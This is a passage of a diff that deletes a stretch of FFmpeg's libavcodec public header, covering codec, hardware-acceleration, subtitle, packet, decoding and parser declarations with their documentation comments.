AVCodecContext *avctx); -void av_codec_set_chroma_intra_matrix(AVCodecContext *avctx, uint16_t *val); - -/** - * AVProfile. - */ -typedef struct AVProfile { - int profile; - const char *name; ///< short name for the profile -} AVProfile; - -typedef struct AVCodecDefault AVCodecDefault; - -struct AVSubtitle; - -/** - * AVCodec. - */ -typedef struct AVCodec { - /** - * Name of the codec implementation. - * The name is globally unique among encoders and among decoders (but an - * encoder and a decoder can share the same name). - * This is the primary way to find a codec from the user perspective. - */ - const char *name; - /** - * Descriptive name for the codec, meant to be more human readable than name. - * You should use the NULL_IF_CONFIG_SMALL() macro to define it. - */ - const char *long_name; - enum AVMediaType type; - enum AVCodecID id; - /** - * Codec capabilities. - * see AV_CODEC_CAP_* - */ - int capabilities; - const AVRational *supported_framerates; ///< array of supported framerates, or NULL if any, array is terminated by {0,0} - const enum AVPixelFormat *pix_fmts; ///< array of supported pixel formats, or NULL if unknown, array is terminated by -1 - const int *supported_samplerates; ///< array of supported audio samplerates, or NULL if unknown, array is terminated by 0 - const enum AVSampleFormat *sample_fmts; ///< array of supported sample formats, or NULL if unknown, array is terminated by -1 - const uint64_t *channel_layouts; ///< array of support channel layouts, or NULL if unknown. array is terminated by 0 - uint8_t max_lowres; ///< maximum value for lowres supported by the decoder, no direct access, use av_codec_get_max_lowres() - const AVClass *priv_class; ///< AVClass for the private context - const AVProfile *profiles; ///< array of recognized profiles, or NULL if unknown, array is terminated by {FF_PROFILE_UNKNOWN} - - /***************************************************************** - * No fields below this line are part of the public API. They - * may not be used outside of libavcodec and can be changed and - * removed at will. - * New public fields should be added right above. - ***************************************************************** - */ - int priv_data_size; - struct AVCodec *next; - /** - * @name Frame-level threading support functions - * @{ - */ - /** - * If defined, called on thread contexts when they are created. - * If the codec allocates writable tables in init(), re-allocate them here. - * priv_data will be set to a copy of the original. - */ - int (*init_thread_copy)(AVCodecContext *); - /** - * Copy necessary context variables from a previous thread context to the current one. - * If not defined, the next thread will start automatically; otherwise, the codec - * must call ff_thread_finish_setup(). - * - * dst and src will (rarely) point to the same context, in which case memcpy should be skipped. - */ - int (*update_thread_context)(AVCodecContext *dst, const AVCodecContext *src); - /** @} */ - - /** - * Private codec-specific defaults. - */ - const AVCodecDefault *defaults; - - /** - * Initialize codec static data, called from avcodec_register(). - */ - void (*init_static_data)(struct AVCodec *codec); - - int (*init)(AVCodecContext *); - int (*encode_sub)(AVCodecContext *, uint8_t *buf, int buf_size, - const struct AVSubtitle *sub); - /** - * Encode data to an AVPacket. - * - * @param avctx codec context - * @param avpkt output AVPacket (may contain a user-provided buffer) - * @param[in] frame AVFrame containing the raw data to be encoded - * @param[out] got_packet_ptr encoder sets to 0 or 1 to indicate that a - * non-empty packet was returned in avpkt. - * @return 0 on success, negative error code on failure - */ - int (*encode2)(AVCodecContext *avctx, AVPacket *avpkt, const AVFrame *frame, - int *got_packet_ptr); - int (*decode)(AVCodecContext *, void *outdata, int *outdata_size, AVPacket *avpkt); - int (*close)(AVCodecContext *); - /** - * Flush buffers. - * Will be called when seeking - */ - void (*flush)(AVCodecContext *); - /** - * Internal codec capabilities. - * See FF_CODEC_CAP_* in internal.h - */ - int caps_internal; -} AVCodec; - -int av_codec_get_max_lowres(const AVCodec *codec); - -struct MpegEncContext; - -/** - * @defgroup lavc_hwaccel AVHWAccel - * @{ - */ -typedef struct AVHWAccel { - /** - * Name of the hardware accelerated codec. - * The name is globally unique among encoders and among decoders (but an - * encoder and a decoder can share the same name). - */ - const char *name; - - /** - * Type of codec implemented by the hardware accelerator. - * - * See AVMEDIA_TYPE_xxx - */ - enum AVMediaType type; - - /** - * Codec implemented by the hardware accelerator. - * - * See AV_CODEC_ID_xxx - */ - enum AVCodecID id; - - /** - * Supported pixel format. - * - * Only hardware accelerated formats are supported here. - */ - enum AVPixelFormat pix_fmt; - - /** - * Hardware accelerated codec capabilities. - * see HWACCEL_CODEC_CAP_* - */ - int capabilities; - - /***************************************************************** - * No fields below this line are part of the public API. They - * may not be used outside of libavcodec and can be changed and - * removed at will. - * New public fields should be added right above. - ***************************************************************** - */ - struct AVHWAccel *next; - - /** - * Allocate a custom buffer - */ - int (*alloc_frame)(AVCodecContext *avctx, AVFrame *frame); - - /** - * Called at the beginning of each frame or field picture. - * - * Meaningful frame information (codec specific) is guaranteed to - * be parsed at this point. This function is mandatory. - * - * Note that buf can be NULL along with buf_size set to 0. - * Otherwise, this means the whole frame is available at this point. - * - * @param avctx the codec context - * @param buf the frame data buffer base - * @param buf_size the size of the frame in bytes - * @return zero if successful, a negative value otherwise - */ - int (*start_frame)(AVCodecContext *avctx, const uint8_t *buf, uint32_t buf_size); - - /** - * Callback for each slice. - * - * Meaningful slice information (codec specific) is guaranteed to - * be parsed at this point. This function is mandatory. - * The only exception is XvMC, that works on MB level. - * - * @param avctx the codec context - * @param buf the slice data buffer base - * @param buf_size the size of the slice in bytes - * @return zero if successful, a negative value otherwise - */ - int (*decode_slice)(AVCodecContext *avctx, const uint8_t *buf, uint32_t buf_size); - - /** - * Called at the end of each frame or field picture. - * - * The whole picture is parsed at this point and can now be sent - * to the hardware accelerator. This function is mandatory. - * - * @param avctx the codec context - * @return zero if successful, a negative value otherwise - */ - int (*end_frame)(AVCodecContext *avctx); - - /** - * Size of per-frame hardware accelerator private data. - * - * Private data is allocated with av_mallocz() before - * AVCodecContext.get_buffer() and deallocated after - * AVCodecContext.release_buffer(). - */ - int frame_priv_data_size; - - /** - * Called for every Macroblock in a slice. - * - * XvMC uses it to replace the ff_mpv_decode_mb(). - * Instead of decoding to raw picture, MB parameters are - * stored in an array provided by the video driver. - * - * @param s the mpeg context - */ - void (*decode_mb)(struct MpegEncContext *s); - - /** - * Initialize the hwaccel private data. - * - * This will be called from ff_get_format(), after hwaccel and - * hwaccel_context are set and the hwaccel private data in AVCodecInternal - * is allocated. - */ - int (*init)(AVCodecContext *avctx); - - /** - * Uninitialize the hwaccel private data. - * - * This will be called from get_format() or avcodec_close(), after hwaccel - * and hwaccel_context are already uninitialized. - */ - int (*uninit)(AVCodecContext *avctx); - - /** - * Size of the private data to allocate in - * AVCodecInternal.hwaccel_priv_data. - */ - int priv_data_size; -} AVHWAccel; - -/** - * Hardware acceleration should be used for decoding even if the codec level - * used is unknown or higher than the maximum supported level reported by the - * hardware driver. - * - * It's generally a good idea to pass this flag unless you have a specific - * reason not to, as hardware tends to under-report supported levels. - */ -#define AV_HWACCEL_FLAG_IGNORE_LEVEL (1 << 0) - -/** - * Hardware acceleration can output YUV pixel formats with a different chroma - * sampling than 4:2:0 and/or other than 8 bits per component. - */ -#define AV_HWACCEL_FLAG_ALLOW_HIGH_DEPTH (1 << 1) - -/** - * @} - */ - -#if FF_API_AVPICTURE -/** - * @defgroup lavc_picture AVPicture - * - * Functions for working with AVPicture - * @{ - */ - -/** - * Picture data structure. - * - * Up to four components can be stored into it, the last component is - * alpha. - * @deprecated use AVFrame or imgutils functions instead - */ -typedef struct AVPicture { - attribute_deprecated - uint8_t *data[AV_NUM_DATA_POINTERS]; ///< pointers to the image data planes - attribute_deprecated - int linesize[AV_NUM_DATA_POINTERS]; ///< number of bytes per line -} AVPicture; - -/** - * @} - */ -#endif - -enum AVSubtitleType { - SUBTITLE_NONE, - - SUBTITLE_BITMAP, ///< A bitmap, pict will be set - - /** - * Plain text, the text field must be set by the decoder and is - * authoritative. ass and pict fields may contain approximations. - */ - SUBTITLE_TEXT, - - /** - * Formatted text, the ass field must be set by the decoder and is - * authoritative. pict and text fields may contain approximations. - */ - SUBTITLE_ASS, -}; - -#define AV_SUBTITLE_FLAG_FORCED 0x00000001 - -typedef struct AVSubtitleRect { - int x; ///< top left corner of pict, undefined when pict is not set - int y; ///< top left corner of pict, undefined when pict is not set - int w; ///< width of pict, undefined when pict is not set - int h; ///< height of pict, undefined when pict is not set - int nb_colors; ///< number of colors in pict, undefined when pict is not set - -#if FF_API_AVPICTURE - /** - * @deprecated unused - */ - attribute_deprecated - AVPicture pict; -#endif - /** - * data+linesize for the bitmap of this subtitle. - * Can be set for text/ass as well once they are rendered. - */ - uint8_t *data[4]; - int linesize[4]; - - enum AVSubtitleType type; - - char *text; ///< 0 terminated plain UTF-8 text - - /** - * 0 terminated ASS/SSA compatible event line. - * The presentation of this is unaffected by the other values in this - * struct. - */ - char *ass; - - int flags; -} AVSubtitleRect; - -typedef struct AVSubtitle { - uint16_t format; /* 0 = graphics */ - uint32_t start_display_time; /* relative to packet pts, in ms */ - uint32_t end_display_time; /* relative to packet pts, in ms */ - unsigned num_rects; - AVSubtitleRect **rects; - int64_t pts; ///< Same as packet pts, in AV_TIME_BASE -} AVSubtitle; - -/** - * If c is NULL, returns the first registered codec, - * if c is non-NULL, returns the next registered codec after c, - * or NULL if c is the last one. - */ -AVCodec *av_codec_next(const AVCodec *c); - -/** - * Return the LIBAVCODEC_VERSION_INT constant. - */ -unsigned avcodec_version(void); - -/** - * Return the libavcodec build-time configuration. - */ -const char *avcodec_configuration(void); - -/** - * Return the libavcodec license. - */ -const char *avcodec_license(void); - -/** - * Register the codec codec and initialize libavcodec. - * - * @warning either this function or avcodec_register_all() must be called - * before any other libavcodec functions. - * - * @see avcodec_register_all() - */ -void avcodec_register(AVCodec *codec); - -/** - * Register all the codecs, parsers and bitstream filters which were enabled at - * configuration time. If you do not call this function you can select exactly - * which formats you want to support, by using the individual registration - * functions. - * - * @see avcodec_register - * @see av_register_codec_parser - * @see av_register_bitstream_filter - */ -void avcodec_register_all(void); - -/** - * Allocate an AVCodecContext and set its fields to default values. The - * resulting struct should be freed with avcodec_free_context(). - * - * @param codec if non-NULL, allocate private data and initialize defaults - * for the given codec. It is illegal to then call avcodec_open2() - * with a different codec. - * If NULL, then the codec-specific defaults won't be initialized, - * which may result in suboptimal default settings (this is - * important mainly for encoders, e.g. libx264). - * - * @return An AVCodecContext filled with default values or NULL on failure. - * @see avcodec_get_context_defaults - */ -AVCodecContext *avcodec_alloc_context3(const AVCodec *codec); - -/** - * Free the codec context and everything associated with it and write NULL to - * the provided pointer. - */ -void avcodec_free_context(AVCodecContext **avctx); - -/** - * Set the fields of the given AVCodecContext to default values corresponding - * to the given codec (defaults may be codec-dependent). - * - * Do not call this function if a non-NULL codec has been passed - * to avcodec_alloc_context3() that allocated this AVCodecContext. - * If codec is non-NULL, it is illegal to call avcodec_open2() with a - * different codec on this AVCodecContext. - */ -int avcodec_get_context_defaults3(AVCodecContext *s, const AVCodec *codec); - -/** - * Get the AVClass for AVCodecContext. It can be used in combination with - * AV_OPT_SEARCH_FAKE_OBJ for examining options. - * - * @see av_opt_find(). - */ -const AVClass *avcodec_get_class(void); - -/** - * Get the AVClass for AVFrame. It can be used in combination with - * AV_OPT_SEARCH_FAKE_OBJ for examining options. - * - * @see av_opt_find(). - */ -const AVClass *avcodec_get_frame_class(void); - -/** - * Get the AVClass for AVSubtitleRect. It can be used in combination with - * AV_OPT_SEARCH_FAKE_OBJ for examining options. - * - * @see av_opt_find(). - */ -const AVClass *avcodec_get_subtitle_rect_class(void); - -/** - * Copy the settings of the source AVCodecContext into the destination - * AVCodecContext. The resulting destination codec context will be - * unopened, i.e. you are required to call avcodec_open2() before you - * can use this AVCodecContext to decode/encode video/audio data. - * - * @param dest target codec context, should be initialized with - * avcodec_alloc_context3(NULL), but otherwise uninitialized - * @param src source codec context - * @return AVERROR() on error (e.g. memory allocation error), 0 on success - */ -int avcodec_copy_context(AVCodecContext *dest, const AVCodecContext *src); - -/** - * Initialize the AVCodecContext to use the given AVCodec. Prior to using this - * function the context has to be allocated with avcodec_alloc_context3(). - * - * The functions avcodec_find_decoder_by_name(), avcodec_find_encoder_by_name(), - * avcodec_find_decoder() and avcodec_find_encoder() provide an easy way for - * retrieving a codec. - * - * @warning This function is not thread safe! - * - * @note Always call this function before using decoding routines (such as - * @ref avcodec_decode_video2()). - * - * @code - * avcodec_register_all(); - * av_dict_set(&opts, "b", "2.5M", 0); - * codec = avcodec_find_decoder(AV_CODEC_ID_H264); - * if (!codec) - * exit(1); - * - * context = avcodec_alloc_context3(codec); - * - * if (avcodec_open2(context, codec, opts) < 0) - * exit(1); - * @endcode - * - * @param avctx The context to initialize. - * @param codec The codec to open this context for. If a non-NULL codec has been - * previously passed to avcodec_alloc_context3() or - * avcodec_get_context_defaults3() for this context, then this - * parameter MUST be either NULL or equal to the previously passed - * codec. - * @param options A dictionary filled with AVCodecContext and codec-private options. - * On return this object will be filled with options that were not found. - * - * @return zero on success, a negative value on error - * @see avcodec_alloc_context3(), avcodec_find_decoder(), avcodec_find_encoder(), - * av_dict_set(), av_opt_find(). - */ -int avcodec_open2(AVCodecContext *avctx, const AVCodec *codec, AVDictionary **options); - -/** - * Close a given AVCodecContext and free all the data associated with it - * (but not the AVCodecContext itself). - * - * Calling this function on an AVCodecContext that hasn't been opened will free - * the codec-specific data allocated in avcodec_alloc_context3() / - * avcodec_get_context_defaults3() with a non-NULL codec. Subsequent calls will - * do nothing. - */ -int avcodec_close(AVCodecContext *avctx); - -/** - * Free all allocated data in the given subtitle struct. - * - * @param sub AVSubtitle to free. - */ -void avsubtitle_free(AVSubtitle *sub); - -/** - * @} - */ - -/** - * @addtogroup lavc_packet - * @{ - */ - -/** - * Allocate an AVPacket and set its fields to default values. The resulting - * struct must be freed using av_packet_free(). - * - * @return An AVPacket filled with default values or NULL on failure. - * - * @note this only allocates the AVPacket itself, not the data buffers. Those - * must be allocated through other means such as av_new_packet. - * - * @see av_new_packet - */ -AVPacket *av_packet_alloc(void); - -/** - * Create a new packet that references the same data as src. - * - * This is a shortcut for av_packet_alloc()+av_packet_ref(). - * - * @return newly created AVPacket on success, NULL on error. - * - * @see av_packet_alloc - * @see av_packet_ref - */ -AVPacket *av_packet_clone(AVPacket *src); - -/** - * Free the packet, if the packet is reference counted, it will be - * unreferenced first. - * - * @param packet packet to be freed. The pointer will be set to NULL. - * @note passing NULL is a no-op. - */ -void av_packet_free(AVPacket **pkt); - -/** - * Initialize optional fields of a packet with default values. - * - * Note, this does not touch the data and size members, which have to be - * initialized separately. - * - * @param pkt packet - */ -void av_init_packet(AVPacket *pkt); - -/** - * Allocate the payload of a packet and initialize its fields with - * default values. - * - * @param pkt packet - * @param size wanted payload size - * @return 0 if OK, AVERROR_xxx otherwise - */ -int av_new_packet(AVPacket *pkt, int size); - -/** - * Reduce packet size, correctly zeroing padding - * - * @param pkt packet - * @param size new size - */ -void av_shrink_packet(AVPacket *pkt, int size); - -/** - * Increase packet size, correctly zeroing padding - * - * @param pkt packet - * @param grow_by number of bytes by which to increase the size of the packet - */ -int av_grow_packet(AVPacket *pkt, int grow_by); - -/** - * Initialize a reference-counted packet from av_malloc()ed data. - * - * @param pkt packet to be initialized. This function will set the data, size, - * buf and destruct fields, all others are left untouched. - * @param data Data allocated by av_malloc() to be used as packet data. If this - * function returns successfully, the data is owned by the underlying AVBuffer. - * The caller may not access the data through other means. - * @param size size of data in bytes, without the padding. I.e. the full buffer - * size is assumed to be size + AV_INPUT_BUFFER_PADDING_SIZE. - * - * @return 0 on success, a negative AVERROR on error - */ -int av_packet_from_data(AVPacket *pkt, uint8_t *data, int size); - -#if FF_API_AVPACKET_OLD_API -/** - * @warning This is a hack - the packet memory allocation stuff is broken. The - * packet is allocated if it was not really allocated. - * - * @deprecated Use av_packet_ref - */ -attribute_deprecated -int av_dup_packet(AVPacket *pkt); -/** - * Copy packet, including contents - * - * @return 0 on success, negative AVERROR on fail - */ -int av_copy_packet(AVPacket *dst, const AVPacket *src); - -/** - * Copy packet side data - * - * @return 0 on success, negative AVERROR on fail - */ -int av_copy_packet_side_data(AVPacket *dst, const AVPacket *src); - -/** - * Free a packet. - * - * @deprecated Use av_packet_unref - * - * @param pkt packet to free - */ -attribute_deprecated -void av_free_packet(AVPacket *pkt); -#endif -/** - * Allocate new information of a packet. - * - * @param pkt packet - * @param type side information type - * @param size side information size - * @return pointer to fresh allocated data or NULL otherwise - */ -uint8_t* av_packet_new_side_data(AVPacket *pkt, enum AVPacketSideDataType type, - int size); - -/** - * Wrap an existing array as a packet side data. - * - * @param pkt packet - * @param type side information type - * @param data the side data array. It must be allocated with the av_malloc() - * family of functions. The ownership of the data is transferred to - * pkt. - * @param size side information size - * @return a non-negative number on success, a negative AVERROR code on - * failure. On failure, the packet is unchanged and the data remains - * owned by the caller. - */ -int av_packet_add_side_data(AVPacket *pkt, enum AVPacketSideDataType type, - uint8_t *data, size_t size); - -/** - * Shrink the already allocated side data buffer - * - * @param pkt packet - * @param type side information type - * @param size new side information size - * @return 0 on success, < 0 on failure - */ -int av_packet_shrink_side_data(AVPacket *pkt, enum AVPacketSideDataType type, - int size); - -/** - * Get side information from packet. - * - * @param pkt packet - * @param type desired side information type - * @param size pointer for side information size to store (optional) - * @return pointer to data if present or NULL otherwise - */ -uint8_t* av_packet_get_side_data(AVPacket *pkt, enum AVPacketSideDataType type, - int *size); - -int av_packet_merge_side_data(AVPacket *pkt); - -int av_packet_split_side_data(AVPacket *pkt); - -const char *av_packet_side_data_name(enum AVPacketSideDataType type); - -/** - * Pack a dictionary for use in side_data. - * - * @param dict The dictionary to pack. - * @param size pointer to store the size of the returned data - * @return pointer to data if successful, NULL otherwise - */ -uint8_t *av_packet_pack_dictionary(AVDictionary *dict, int *size); -/** - * Unpack a dictionary from side_data. - * - * @param data data from side_data - * @param size size of the data - * @param dict the metadata storage dictionary - * @return 0 on success, < 0 on failure - */ -int av_packet_unpack_dictionary(const uint8_t *data, int size, AVDictionary **dict); - - -/** - * Convenience function to free all the side data stored. - * All the other fields stay untouched. - * - * @param pkt packet - */ -void av_packet_free_side_data(AVPacket *pkt); - -/** - * Setup a new reference to the data described by a given packet - * - * If src is reference-counted, setup dst as a new reference to the - * buffer in src. Otherwise allocate a new buffer in dst and copy the - * data from src into it. - * - * All the other fields are copied from src. - * - * @see av_packet_unref - * - * @param dst Destination packet - * @param src Source packet - * - * @return 0 on success, a negative AVERROR on error. - */ -int av_packet_ref(AVPacket *dst, const AVPacket *src); - -/** - * Wipe the packet. - * - * Unreference the buffer referenced by the packet and reset the - * remaining packet fields to their default values. - * - * @param pkt The packet to be unreferenced. - */ -void av_packet_unref(AVPacket *pkt); - -/** - * Move every field in src to dst and reset src. - * - * @see av_packet_unref - * - * @param src Source packet, will be reset - * @param dst Destination packet - */ -void av_packet_move_ref(AVPacket *dst, AVPacket *src); - -/** - * Copy only "properties" fields from src to dst. - * - * Properties for the purpose of this function are all the fields - * beside those related to the packet data (buf, data, size) - * - * @param dst Destination packet - * @param src Source packet - * - * @return 0 on success AVERROR on failure. - * - */ -int av_packet_copy_props(AVPacket *dst, const AVPacket *src); - -/** - * Convert valid timing fields (timestamps / durations) in a packet from one - * timebase to another. Timestamps with unknown values (AV_NOPTS_VALUE) will be - * ignored. - * - * @param pkt packet on which the conversion will be performed - * @param tb_src source timebase, in which the timing fields in pkt are - * expressed - * @param tb_dst destination timebase, to which the timing fields will be - * converted - */ -void av_packet_rescale_ts(AVPacket *pkt, AVRational tb_src, AVRational tb_dst); - -/** - * @} - */ - -/** - * @addtogroup lavc_decoding - * @{ - */ - -/** - * Find a registered decoder with a matching codec ID. - * - * @param id AVCodecID of the requested decoder - * @return A decoder if one was found, NULL otherwise. - */ -AVCodec *avcodec_find_decoder(enum AVCodecID id); - -/** - * Find a registered decoder with the specified name. - * - * @param name name of the requested decoder - * @return A decoder if one was found, NULL otherwise. - */ -AVCodec *avcodec_find_decoder_by_name(const char *name); - -/** - * The default callback for AVCodecContext.get_buffer2(). It is made public so - * it can be called by custom get_buffer2() implementations for decoders without - * AV_CODEC_CAP_DR1 set. - */ -int avcodec_default_get_buffer2(AVCodecContext *s, AVFrame *frame, int flags); - -#if FF_API_EMU_EDGE -/** - * Return the amount of padding in pixels which the get_buffer callback must - * provide around the edge of the image for codecs which do not have the - * CODEC_FLAG_EMU_EDGE flag. - * - * @return Required padding in pixels. - * - * @deprecated CODEC_FLAG_EMU_EDGE is deprecated, so this function is no longer - * needed - */ -attribute_deprecated -unsigned avcodec_get_edge_width(void); -#endif - -/** - * Modify width and height values so that they will result in a memory - * buffer that is acceptable for the codec if you do not use any horizontal - * padding. - * - * May only be used if a codec with AV_CODEC_CAP_DR1 has been opened. - */ -void avcodec_align_dimensions(AVCodecContext *s, int *width, int *height); - -/** - * Modify width and height values so that they will result in a memory - * buffer that is acceptable for the codec if you also ensure that all - * line sizes are a multiple of the respective linesize_align[i]. - * - * May only be used if a codec with AV_CODEC_CAP_DR1 has been opened. - */ -void avcodec_align_dimensions2(AVCodecContext *s, int *width, int *height, - int linesize_align[AV_NUM_DATA_POINTERS]); - -/** - * Converts AVChromaLocation to swscale x/y chroma position. - * - * The positions represent the chroma (0,0) position in a coordinates system - * with luma (0,0) representing the origin and luma(1,1) representing 256,256 - * - * @param xpos horizontal chroma sample position - * @param ypos vertical chroma sample position - */ -int avcodec_enum_to_chroma_pos(int *xpos, int *ypos, enum AVChromaLocation pos); - -/** - * Converts swscale x/y chroma position to AVChromaLocation. - * - * The positions represent the chroma (0,0) position in a coordinates system - * with luma (0,0) representing the origin and luma(1,1) representing 256,256 - * - * @param xpos horizontal chroma sample position - * @param ypos vertical chroma sample position - */ -enum AVChromaLocation avcodec_chroma_pos_to_enum(int xpos, int ypos); - -/** - * Decode the audio frame of size avpkt->size from avpkt->data into frame. - * - * Some decoders may support multiple frames in a single AVPacket. Such - * decoders would then just decode the first frame and the return value would be - * less than the packet size. In this case, avcodec_decode_audio4 has to be - * called again with an AVPacket containing the remaining data in order to - * decode the second frame, etc... Even if no frames are returned, the packet - * needs to be fed to the decoder with remaining data until it is completely - * consumed or an error occurs. - * - * Some decoders (those marked with AV_CODEC_CAP_DELAY) have a delay between input - * and output. This means that for some packets they will not immediately - * produce decoded output and need to be flushed at the end of decoding to get - * all the decoded data. Flushing is done by calling this function with packets - * with avpkt->data set to NULL and avpkt->size set to 0 until it stops - * returning samples. It is safe to flush even those decoders that are not - * marked with AV_CODEC_CAP_DELAY, then no samples will be returned. - * - * @warning The input buffer, avpkt->data must be AV_INPUT_BUFFER_PADDING_SIZE - * larger than the actual read bytes because some optimized bitstream - * readers read 32 or 64 bits at once and could read over the end. - * - * @note The AVCodecContext MUST have been opened with @ref avcodec_open2() - * before packets may be fed to the decoder. - * - * @param avctx the codec context - * @param[out] frame The AVFrame in which to store decoded audio samples. - * The decoder will allocate a buffer for the decoded frame by - * calling the AVCodecContext.get_buffer2() callback. - * When AVCodecContext.refcounted_frames is set to 1, the frame is - * reference counted and the returned reference belongs to the - * caller. The caller must release the frame using av_frame_unref() - * when the frame is no longer needed. The caller may safely write - * to the frame if av_frame_is_writable() returns 1. - * When AVCodecContext.refcounted_frames is set to 0, the returned - * reference belongs to the decoder and is valid only until the - * next call to this function or until closing or flushing the - * decoder. The caller may not write to it. - * @param[out] got_frame_ptr Zero if no frame could be decoded, otherwise it is - * non-zero. Note that this field being set to zero - * does not mean that an error has occurred. For - * decoders with AV_CODEC_CAP_DELAY set, no given decode - * call is guaranteed to produce a frame. - * @param[in] avpkt The input AVPacket containing the input buffer. - * At least avpkt->data and avpkt->size should be set. Some - * decoders might also require additional fields to be set. - * @return A negative error code is returned if an error occurred during - * decoding, otherwise the number of bytes consumed from the input - * AVPacket is returned. - */ -int avcodec_decode_audio4(AVCodecContext *avctx, AVFrame *frame, - int *got_frame_ptr, const AVPacket *avpkt); - -/** - * Decode the video frame of size avpkt->size from avpkt->data into picture. - * Some decoders may support multiple frames in a single AVPacket, such - * decoders would then just decode the first frame. - * - * @warning The input buffer must be AV_INPUT_BUFFER_PADDING_SIZE larger than - * the actual read bytes because some optimized bitstream readers read 32 or 64 - * bits at once and could read over the end. - * - * @warning The end of the input buffer buf should be set to 0 to ensure that - * no overreading happens for damaged MPEG streams. - * - * @note Codecs which have the AV_CODEC_CAP_DELAY capability set have a delay - * between input and output, these need to be fed with avpkt->data=NULL, - * avpkt->size=0 at the end to return the remaining frames. - * - * @note The AVCodecContext MUST have been opened with @ref avcodec_open2() - * before packets may be fed to the decoder. - * - * @param avctx the codec context - * @param[out] picture The AVFrame in which the decoded video frame will be stored. - * Use av_frame_alloc() to get an AVFrame. The codec will - * allocate memory for the actual bitmap by calling the - * AVCodecContext.get_buffer2() callback. - * When AVCodecContext.refcounted_frames is set to 1, the frame is - * reference counted and the returned reference belongs to the - * caller. The caller must release the frame using av_frame_unref() - * when the frame is no longer needed. The caller may safely write - * to the frame if av_frame_is_writable() returns 1. - * When AVCodecContext.refcounted_frames is set to 0, the returned - * reference belongs to the decoder and is valid only until the - * next call to this function or until closing or flushing the - * decoder. The caller may not write to it. - * - * @param[in] avpkt The input AVPacket containing the input buffer. - * You can create such packet with av_init_packet() and by then setting - * data and size, some decoders might in addition need other fields like - * flags&AV_PKT_FLAG_KEY. All decoders are designed to use the least - * fields possible. - * @param[in,out] got_picture_ptr Zero if no frame could be decompressed, otherwise, it is nonzero. - * @return On error a negative value is returned, otherwise the number of bytes - * used or zero if no frame could be decompressed. - */ -int avcodec_decode_video2(AVCodecContext *avctx, AVFrame *picture, - int *got_picture_ptr, - const AVPacket *avpkt); - -/** - * Decode a subtitle message. - * Return a negative value on error, otherwise return the number of bytes used. - * If no subtitle could be decompressed, got_sub_ptr is zero. - * Otherwise, the subtitle is stored in *sub. - * Note that AV_CODEC_CAP_DR1 is not available for subtitle codecs. This is for - * simplicity, because the performance difference is expect to be negligible - * and reusing a get_buffer written for video codecs would probably perform badly - * due to a potentially very different allocation pattern. - * - * Some decoders (those marked with CODEC_CAP_DELAY) have a delay between input - * and output. This means that for some packets they will not immediately - * produce decoded output and need to be flushed at the end of decoding to get - * all the decoded data. Flushing is done by calling this function with packets - * with avpkt->data set to NULL and avpkt->size set to 0 until it stops - * returning subtitles. It is safe to flush even those decoders that are not - * marked with CODEC_CAP_DELAY, then no subtitles will be returned. - * - * @note The AVCodecContext MUST have been opened with @ref avcodec_open2() - * before packets may be fed to the decoder. - * - * @param avctx the codec context - * @param[out] sub The Preallocated AVSubtitle in which the decoded subtitle will be stored, - * must be freed with avsubtitle_free if *got_sub_ptr is set. - * @param[in,out] got_sub_ptr Zero if no subtitle could be decompressed, otherwise, it is nonzero. - * @param[in] avpkt The input AVPacket containing the input buffer. - */ -int avcodec_decode_subtitle2(AVCodecContext *avctx, AVSubtitle *sub, - int *got_sub_ptr, - AVPacket *avpkt); - -/** - * @defgroup lavc_parsing Frame parsing - * @{ - */ - -enum AVPictureStructure { - AV_PICTURE_STRUCTURE_UNKNOWN, //< unknown - AV_PICTURE_STRUCTURE_TOP_FIELD, //< coded as top field - AV_PICTURE_STRUCTURE_BOTTOM_FIELD, //< coded as bottom field - AV_PICTURE_STRUCTURE_FRAME, //< coded as frame -}; - -typedef struct AVCodecParserContext { - void *priv_data; - struct AVCodecParser *parser; - int64_t frame_offset; /* offset of the current frame */ - int64_t cur_offset; /* current offset - (incremented by each av_parser_parse()) */ - int64_t next_frame_offset; /* offset of the next frame */ - /* video info */ - int pict_type; /* XXX: Put it back in AVCodecContext. */ - /** - * This field is used for proper frame duration computation in lavf. - * It signals, how much longer the frame duration of the current frame - * is compared to normal frame duration. - * - * frame_duration = (1 + repeat_pict) * time_base - * - * It is used by codecs like H.264 to display telecined material. - */ - int repeat_pict; /* XXX: Put it back in AVCodecContext. */ - int64_t pts; /* pts of the current frame */ - int64_t dts; /* dts of the current frame */ - - /* private data */ - int64_t last_pts; - int64_t last_dts; - int fetch_timestamp; - -#define AV_PARSER_PTS_NB 4 - int cur_frame_start_index; - int64_t cur_frame_offset[AV_PARSER_PTS_NB]; - int64_t cur_frame_pts[AV_PARSER_PTS_NB]; - int64_t cur_frame_dts[AV_PARSER_PTS_NB]; - - int flags; -#define PARSER_FLAG_COMPLETE_FRAMES 0x0001 -#define PARSER_FLAG_ONCE 0x0002 -/// Set if the parser has a valid file offset -#define PARSER_FLAG_FETCHED_OFFSET 0x0004 -#define PARSER_FLAG_USE_CODEC_TS 0x1000 - - int64_t offset; ///< byte offset from starting packet start - int64_t cur_frame_end[AV_PARSER_PTS_NB]; - - /** - * Set by parser to 1 for key frames and 0 for non-key frames. - * It is initialized to -1, so if the parser doesn't set this flag, - * old-style fallback using AV_PICTURE_TYPE_I picture type as key frames - * will be used. - */ - int key_frame; - -#if FF_API_CONVERGENCE_DURATION - /** - * @deprecated unused - */ - attribute_deprecated - int64_t convergence_duration; -#endif - - // Timestamp generation support: - /** - * Synchronization point for start of timestamp generation. - * - * Set to >0 for sync point, 0 for no sync point and <0 for undefined - * (default). - * - * For example, this corresponds to presence of H.264 buffering period - * SEI message. - */ - int dts_sync_point; - - /** - * Offset of the current timestamp against last timestamp sync point in - * units of AVCodecContext.time_base. - * - * Set to INT_MIN when dts_sync_point unused. Otherwise, it must - * contain a valid timestamp offset. - * - * Note that the timestamp of sync point has usually a nonzero - * dts_ref_dts_delta, which refers to the previous sync point. Offset of - * the next frame after timestamp sync point will be usually 1. - * - * For example, this corresponds to H.264 cpb_removal_delay. - */ - int dts_ref_dts_delta; - - /** - * Presentation delay of current frame in units of AVCodecContext.time_base. - * - * Set to INT_MIN when dts_sync_point unused. Otherwise, it must - * contain valid non-negative timestamp delta (presentation time of a frame - * must not lie in the past). - * - * This delay represents the difference between decoding and presentation - * time of the frame. - * - * For example, this corresponds to H.264 dpb_output_delay. - */ - int pts_dts_delta; - - /** - * Position of the packet in file. - * - * Analogous to cur_frame_pts/dts - */ - int64_t cur_frame_pos[AV_PARSER_PTS_NB]; - - /** - * Byte position of currently parsed frame in stream. - */ - int64_t pos; - - /** - * Previous frame byte position. - */ - int64_t last_pos; - - /** - * Duration of the current frame. - * For audio, this is in units of 1 / 